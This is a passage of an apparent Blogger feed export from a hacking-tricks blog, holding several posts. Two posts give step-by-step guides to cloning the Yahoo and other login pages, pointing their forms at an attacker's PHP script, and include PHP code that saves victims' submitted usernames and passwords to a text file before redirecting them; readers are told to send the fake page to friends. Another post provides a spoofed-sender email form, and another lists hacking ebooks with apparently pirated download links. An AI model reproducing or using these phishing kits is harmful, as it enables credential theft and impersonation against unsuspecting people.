Connection window =&gt; click Start =&gt; Shut Down.  &lt;/li&gt;&lt;li&gt;The Shut Down Windows dialog box appears  &lt;/li&gt;&lt;li&gt;In the drop-down menu, select Log Off &lt;username&gt; =&gt; click OK &lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-668930459981678382?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/668930459981678382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/668930459981678382'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/12/remote-desktop-with-windows-xp.html' title='Remote Desktop with Windows XP'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-7473564232031819953</id><published>2009-11-30T13:13:00.000-08:00</published><updated>2009-11-30T13:14:33.388-08:00</updated><title type='text'>Hack yahoo login</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b&gt;Hack yahoo using fake login page - Procedure&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;STEP 1.&lt;/b&gt;&lt;br /&gt;Go to the Yahoo login page by typing the following URL.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;mail.yahoo.com&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 2.&lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)&lt;br /&gt;To save the page goto File-&gt;Save As&lt;br /&gt;&lt;br /&gt;Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 3.&lt;/b&gt;&lt;br /&gt;Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 4.&lt;/b&gt;&lt;br /&gt;Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 5.&lt;/b&gt;&lt;br /&gt;Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.&lt;br /&gt;&lt;br /&gt;For example you may find something like this in the opened HTML file&lt;br /&gt;&lt;br /&gt;src=”&lt;b&gt;Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif&lt;/b&gt;”&lt;br /&gt;&lt;br /&gt;Rename the above link into&lt;br /&gt;&lt;br /&gt;src=”&lt;b&gt;files/ma_mail_1.gif&lt;/b&gt;”&lt;br /&gt;&lt;br /&gt;Repeat the same procedure for every file contained in the folder by name “files“.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 6. &lt;/b&gt;&lt;br /&gt;Now search for the following term&lt;br /&gt;&lt;br /&gt;&lt;b&gt; action=&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;you will see something like this&lt;br /&gt;&lt;br /&gt;action=&lt;b&gt;https://login.yahoo.com/config/login?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Edit this to&lt;br /&gt;&lt;br /&gt;action=&lt;b&gt;http://yoursite.com/login.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.com with yahooupdate.110mb.com.&lt;br /&gt;&lt;br /&gt;Save the changes to the file.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 7.&lt;/b&gt;&lt;br /&gt;Now you have to upload your yahoo.HTML, files folder and login.php to&lt;br /&gt;&lt;br /&gt;yoursite.com Root folder&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; NOTE: Make sure that your host supports PHP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Tip: 110mb.com supports PHP&lt;br /&gt;&lt;br /&gt;&lt;b&gt; STEP 8.&lt;/b&gt;&lt;br /&gt;Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)&lt;br /&gt;&lt;br /&gt;Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username &amp;amp; password&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; NOTE: The concept here is to save the password.The format is not important here.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;STEP 9.&lt;/b&gt;&lt;br /&gt;Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.&lt;br /&gt;here is the &lt;b&gt;login script &lt;/b&gt;which i am posting due to large number of requst&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;header("Location: http://WEBSITE ");&lt;br /&gt;$handle =&lt;br /&gt;&lt;br /&gt;fopen("pass.txt", "a");&lt;br /&gt;foreach($_GET as&lt;br /&gt;&lt;br /&gt;$variable =&gt; $value) {&lt;br /&gt;fwrite($handle,&lt;br /&gt;&lt;br /&gt;$variable);&lt;br /&gt;fwrite($handle, "=");&lt;br /&gt;&lt;br /&gt;fwrite($handle, $value);&lt;br /&gt;fwrite($handle,&lt;br /&gt;&lt;br /&gt;"\r\n");&lt;br /&gt;}&lt;br /&gt;fwrite($handle, "\r\n");&lt;br /&gt;fclose($handle);&lt;br /&gt;exit;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-7473564232031819953?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/7473564232031819953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/7473564232031819953'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/11/hack-yahoo-login.html' title='Hack yahoo login'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-5115497976577717331</id><published>2009-11-30T12:12:00.000-08:00</published><updated>2009-11-30T12:13:49.452-08:00</updated><title type='text'>Phishing</title><content type='html'>1. First things first you must choose the site which you wanna make a phisher from.&lt;br /&gt;-&lt;br /&gt;2. When you found your site right click on it and say "view source" and save it on desktop as index.htm&lt;br /&gt;-&lt;br /&gt;3. Open the "index.htm" with notepad and find search the source for the word "action=". you should find a command looking like this&lt;br /&gt;&lt;br /&gt;or anything alike and probably more inside like "id=" and "autocomplete=".&lt;br /&gt;-&lt;br /&gt;4. change the url (in this case "RANDOM URL") to "write.php"&lt;br /&gt;-&lt;br /&gt;5. If the method is "post" then change it to "get"&lt;br /&gt;-&lt;br /&gt;5. Save index.htm&lt;br /&gt;-&lt;br /&gt;6. Time to create a free website. It MUST SUPPORT .php files so i suggest the use of &lt;a href="javascript:void(0);" target="_blank" onclick="_linkInterstitial('http://www.700megs.com/'); return false;"&gt;http://www.700megs.com&lt;/a&gt;. Create a free website.&lt;br /&gt;-&lt;br /&gt;7. login to your website and go to "file manager"&lt;br /&gt;-&lt;br /&gt;8. delete the file thats already there called "index.htm" and upload your "index.htm" (the one you just made)&lt;br /&gt;-&lt;br /&gt;9. Create a new file called "write.php" and copy / paste this:&lt;br /&gt;-&lt;br /&gt;$value) {&lt;br /&gt;fwrite($handle, $variable);&lt;br /&gt;fwrite($handle, "=");&lt;br /&gt;fwrite($handle, $value);&lt;br /&gt;fwrite($handle, "\r\n");&lt;br /&gt;}&lt;br /&gt;fwrite($handle, "\r\n");&lt;br /&gt;fclose($handle);&lt;br /&gt;exit;&lt;br /&gt;?&lt;div class="para"&gt;&lt;wbr&gt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. Switch out the word "WEBSITE" with the site the browser should go to after victim wrote his/her password. so it should say like this:&lt;br /&gt;header("Location: &lt;a href="javascript:void(0);" target="_blank" onclick="_linkInterstitial('http://hotmail.com/'); return false;"&gt;http://hotmail.com&lt;/a&gt; ");&lt;br /&gt;you might want to change the textfile name so others wont be able to view the file.&lt;br /&gt;&lt;br /&gt;11. Save this file (write.php), and upload it to the subdomain aswell&lt;br /&gt;&lt;br /&gt;13. test out your website. type in something in your phisher and then go to filemanager and open the password file, what you wrote should be typed here!, you can also access the password file by going to &lt;a href="javascript:void(0);" target="_blank" onclick="_linkInterstitial('http://www.yourdomain.700megs.com/passwo\74wbr\76rdfile.txt'); return false;"&gt;http://www.yourdomain.700megs.com/passwo&lt;wbr&gt;rdfile.txt&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-5115497976577717331?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/5115497976577717331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/5115497976577717331'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/11/phishing.html' title='Phishing'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-883999786824825824</id><published>2009-11-30T11:44:00.000-08:00</published><updated>2009-11-30T11:47:54.397-08:00</updated><title type='text'>Send email from anyone's email address to anyone</title><content type='html'>Send email from anyone's email address to anyone&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="javascript:void(0);" target="_blank" onclick="_linkInterstitial('http://www.fakemail.co.tv/'); return false;"&gt;www.fakemail.co.tv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;h1&gt; Anonymous Mailer For OUG &lt;/h1&gt;&lt;/center&gt; &lt;form action="sendMail.php" method="post"&gt; &lt;table align="center" border="0" width="450" height="400"&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td width="450" height="400"&gt;  &lt;table&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td&gt; &lt;p&gt;Sender's email:     &lt;/p&gt;&lt;/td&gt;&lt;td&gt;  &lt;input name="from" size="40"&gt; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt; &lt;p&gt;Sender's name:     &lt;/p&gt;&lt;/td&gt;&lt;td&gt;  &lt;input maxlength="250" name="name" size="40"&gt; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt; &lt;p&gt;Target's Email:     &lt;/p&gt;&lt;/td&gt;&lt;td&gt;  &lt;input maxlength="250" name="to" size="40"&gt; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt; &lt;p&gt;Subject line of mail:     &lt;/p&gt;&lt;/td&gt;&lt;td&gt;  &lt;input maxlength="250" name="subject" size="40"&gt; &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td width="100%" valign="top"&gt;  &lt;center&gt;&lt;p&gt;Enter your message below.&lt;/p&gt;&lt;p&gt;it &lt;b&gt;SHOULD&lt;/b&gt; be html msg&lt;/p&gt;&lt;/center&gt;  &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;textarea cols="50" name="message" rows="10"&gt;&lt;/textarea&gt; &lt;p align="center"&gt;  &lt;input value="Send Mail" type="submit"&gt;  &lt;input value="Reset" name="reset" type="reset"&gt; &lt;/p&gt;  &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/form&gt;  &lt;!--  End  --&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-883999786824825824?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/883999786824825824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/883999786824825824'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/11/send-email-from-anyones-email-address.html' title='Send email from anyone&apos;s email address to anyone'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-7648269946337865945</id><published>2009-11-26T15:38:00.000-08:00</published><updated>2009-11-26T16:05:02.850-08:00</updated><title type='text'>Ethical Hacking EBooks</title><content type='html'>&lt;span style="color: rgb(51, 51, 255); font-weight: bold;"&gt;Hacking Exposed- :-&lt;/span&gt;&lt;br /&gt;One of the international best-selling. The book walks through how to use the more powerful and popular hacker software, including L0phtCrack. This new edition has been updated extensively, largely with the results of "honeypot" exercises (in which attacks on sacrificial machines are monitored) and Windows 2000 public security trials. There's a lot of new stuff on e-mail worms, distributed denial-of-service (DDoS) attacks, and attacks that involve routing protocols. Hacking Exposed wastes no time in explaining how to implement the countermeasures--where they exist--that will render known attacks ineffective.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.insecure.in/ebooks/hacking_exposed_5.rar&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 102, 255);"&gt;Internet Denial Of Service :&lt;/span&gt;-&lt;br /&gt;Internet Denial of Service sheds light on a complex and fascinating form of computer attack that impacts the confidentiality, integrity, and availability of millions of computers worldwide. It tells the network administrator, corporate CTO, incident responder, and student how DDoS attacks are prepared and executed, how to think about DDoS, and how to arrange computer and network defenses. It also provides a suite of actions that can be taken before, during, and after an attack. Inside, you'll find comprehensive information on the each and every topic relating denial-of-service attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;http://www.insecure.in/ebooks/internet_denial_of_service.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Computer Viruses For Dummies&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;It offers real, practical solutions to help ordinary users keep viruses out of their e-mail in-boxes-and explains how to respond when one slips through-&lt;br /&gt;* In 2003, there was a major virus attack almost every month, which cost businesses worldwide an estimated $55 billion and did untold damage to home computers.&lt;br /&gt;* Explains what viruses are and how they work, profiles major anti-virus software packages, shows how to keep anti-virus software updated, and helps people adopt safer computer work habits.&lt;br /&gt;* The book’s value price and compact size will make it irresistible to people who need to protect their home PC or network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hackin9&lt;/u&gt; :&lt;/b&gt;-&lt;br /&gt;&lt;br /&gt;This book will help you learn :-&lt;br /&gt;* How to use Google to find sources of personal information and other confidential data.&lt;br /&gt;* How to find information about vulnerable systems and Web services.&lt;br /&gt;* How to locate publicly available network devices using Google.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/dangerous_google_searching.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hack Attacks Testing&lt;/u&gt;&lt;/span&gt;:-&lt;br /&gt;&lt;br /&gt;A network security breach (a hack, crack, or other invasion) occurs when unauthorized access to the network is achieved and havoc results.&lt;br /&gt;The best possible defense is an offensive strategy that allows you to regularly test your network to reveal the vulnerabilities and close the holes before someone gets in.&lt;br /&gt;Written by veteran author and security expert John Chirillo, Hack Attacks Testing explains how to perform your own security audits.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/hack_attacks_testing.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt; &lt;u&gt;Secrets Of A Super Hacker&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;Here is the most amazing book ever published on computer hacking.  Step-by-Step illustrated details on the techniques used by hackers to get your data including :-&lt;br /&gt;Guessing Passwords, Stealing Passwords,&lt;br /&gt;Password Lists, Social Engineering,&lt;br /&gt;Reverse Social Engineering,&lt;br /&gt;Crashing Electronic Bulletin Boards,&lt;br /&gt;Dummy Screens, Fake E-mail,&lt;br /&gt;Trojan Horses, Viruses, Worms,&lt;br /&gt;Trap Doors, And Much more.&lt;br /&gt;Anyone concerned with computer security and data privacy needs to read this book.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/secrets_of_super_hacker.rar&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacking GMail&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Everything about GMail including :-&lt;br /&gt;Inside GMail, Conquering GMail, Desktop Integration, GMail Power Tips, Skinning GMail, How GMail Works, GMail &amp;amp; Greasemonkey, GMail Libraries, Building API, Using GMailFS, etc&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/hacking_gmail_2007.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Stealing The Network&lt;/u&gt;&lt;/b&gt;:-&lt;br /&gt;&lt;br /&gt;How to Own a Shadow is the final book in Syngress ground breaking, best-selling, Stealing the Network series. As with previous title, How to Own a Shadow is a fictional story that demonstrates accurate, highly detailed scenarios of computer intrusions and counter-strikes. Readers will be amazed at how Knuth, Law Enforcement, and Organized crime twist and torque everything from game stations, printers and fax machines to service provider class switches and routers steal, deceive, and obfuscate. From physical security to open source information gathering, Stealing the Network: How to Own a Shadow will entertain and educate the reader on every page. The books companion Web site will also provide special, behind-the-scenes details and hacks for the reader to join in the chase for Knuth.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Network Security&lt;/u&gt;&lt;/b&gt;:-&lt;br /&gt;&lt;br /&gt;Cisco Press(March 19, 2008) CCIE Professional Development Series Network Security Technologies and Solutions&lt;br /&gt;Network Security Technologies and Solutions is a comprehensive reference to the most cutting-edge security products and methodologies available to networking professionals today.&lt;br /&gt;This book helps you understand and implement current, state-of-the-art network security technologies to ensure secure communications throughout the network infrastructure.&lt;br /&gt;This book is part of the Cisco CCIE Professional Development Series from Cisco Press, which offers expert-level instruction on network design, deployment, and support methodologies to help networking professionals manage complex networks and prepare for CCIE exams.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/net_security_tech.rar&lt;br /&gt;&lt;br /&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacker's HandBook&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;This book is a practical guide to discovering and exploiting security flaws in web applications. The authors explain each category of vulnerability using real-world examples, screen shots and code extracts. The book is extremely practical in focus, and describes in detail the steps involved in detecting and exploiting each kind of security weakness found within a variety of applications such as online banking, e-commerce and other web applications. The topics covered include bypassing login mechanisms, injecting code, exploiting logic flaws and compromising other users. This handbook describes a proven methodology that combines the virtues of human intelligence and computerized brute force, often with devastating results.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/webapp_hackers_handbook.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Vulnerability Management&lt;/u&gt; :-&lt;/span&gt;&lt;br /&gt;Get all the Facts and See How to Implement a Successful Vulnerability Management Program. As a business owner, or someone responsible for network security within your organization, you need to understand how to prevent attacks and eliminate network weaknesses that leave your business exposed and at risk.&lt;br /&gt;Vulnerability Management for Dummies arms you with the facts and will help :-&lt;br /&gt;Explain the critical need for Vulnerability Management (VM),  Detail the essential best-practice steps of a successful VM Program,  Outline the various VM Solutions - including the pros &amp;amp; cons of each,  Highlight the award-winning QualysGuard VM solution,  Provide a 10-point checklist for removing vulnerabilities from your key resources.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/vulnerability_management_for_dummies.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacking Windows Vista&lt;/u&gt; :&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;-&lt;/b&gt;&lt;br /&gt;Vista is the most radical revamping of Windows since 1995. However, along with all the fantastic improvements, there are a couple of things that likely drive you up the wall. Don’t worry, though—just join forces with author Steve Sinchak and you’ll end up feeling as though Microsoft designed Vista just for you! He shows you how to tweak logon screen settings, build custom Sidebar gadgets, personalize Aero Glass with themes and visual styles, turn your PC into an HDTV media center, fine-tune your firewall, and more...!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/vista_hacks.rar&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Web Hacking&lt;/u&gt; :-&lt;/span&gt;&lt;br /&gt;Exposes complete methodologies showing the actual techniques and attacks. Features include :-&lt;br /&gt;* Overview of the Web and what hackers go after&lt;br /&gt;* Complete Web application security methodologies&lt;br /&gt;* Detailed analysis of hack techniques&lt;br /&gt;* Countermeasures&lt;br /&gt;* What to do at development time to eliminate vulnerabilities&lt;br /&gt;* New case studies and eye-opening attack scenarios&lt;br /&gt;* Advanced Web hacking concepts, methodologies, and tools&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.insecure.in/ebooks/web_hacking_attacks_defence.rar&lt;br /&gt;&lt;br /&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(0, 0, 153);"&gt;Viruses Revealed&lt;/u&gt; :-&lt;br /&gt;&lt;/b&gt;With the growing number of computer virus infections today--and the billions of dollars spent on clean-up efforts--virus protection has become everybody's business.&lt;br /&gt;This detailed guide offers full-scale coverage and analysis of the origin, structure, and technology behind the expanding array of computer viruses, and addresses current methods of detection and prevention.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/viruses_revealed.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacker's Black-Book&lt;/u&gt; :-&lt;/span&gt;&lt;br /&gt; Easy to understand with many examples. Every day you hear in the daily news about hackers, virus, worms and trojans, SUB7, TCP, IP, PING, spoofing, sniffing, DDOS attacks, ...?&lt;br /&gt;And you don't know exactly what it is and how hackers do that.&lt;br /&gt;Don't rest a "lamer", Hacker's Blackbook let's you know and discovers many secrets.&lt;br /&gt;Incredible how easy hacking and cracking is!&lt;br /&gt;The book shows how simple you can use these programs.&lt;br /&gt;And many more themes in 19 detailed chapters... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/hackers_black_book.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(0, 0, 153);"&gt;&lt;u&gt;501 Website Secrets&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;What kind of secrets are included in 501 Web Site Secrets? Well, using this book is as simple as turning to the chapter on a particular site, reading through the secrets, then trying them on your own. You don’t need any particular technical expertise to take advantage of these secrets, although some familiarity with the sites in question is helpful. There’s no fancy programming, no high-level coding, just a lot of common-sense information that you probably didn’t know before. Containing:-&lt;br /&gt;Yahoo!, Google, AOL, MSN, Amazon, Lycos, Ask, Altavista, Microsoft, etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;http://www.insecure.in/ebooks/501_website_secrets.rar&lt;br /&gt;&lt;br /&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(0, 0, 153);"&gt;Gray Hat Hacking&lt;/u&gt;&lt;span style="color: rgb(0, 0, 153);"&gt; :-&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;A fantastic book for anyone looking to learn the tools and techniques needed to break in and stay in. Very highly recommended whether you are a seasoned professional or just starting out in the security business. Basically divided into five parts :-&lt;br /&gt;Part I: Introduction to Ethical Disclosure,&lt;br /&gt;Part II: Penetration Testing and Tools ,&lt;br /&gt;Part III: Exploits 101,&lt;br /&gt;Part IV: Vulnerability Analysis,&lt;br /&gt;Part V: Malware Analysis&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;http://www.insecure.in/ebooks/gray_hat_hacking.rar&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 115%; color: rgb(51, 51, 255);"&gt; &lt;u&gt;Hacker Highschool&lt;/u&gt; :-&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;&lt;br /&gt;&lt;/b&gt;The Hacker Highschool project is the development of license-free, security and privacy awareness teaching materials and back-end support for teachers of elementary, junior high, and high school students. Today's teens are in a world with major communication and productivity channels open to them and they don't have the knowledge to defend themselves against the fraud, identity theft, privacy leaks and other attacks made against them just for using the Internet. This is the reason for Hacker Highschool.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 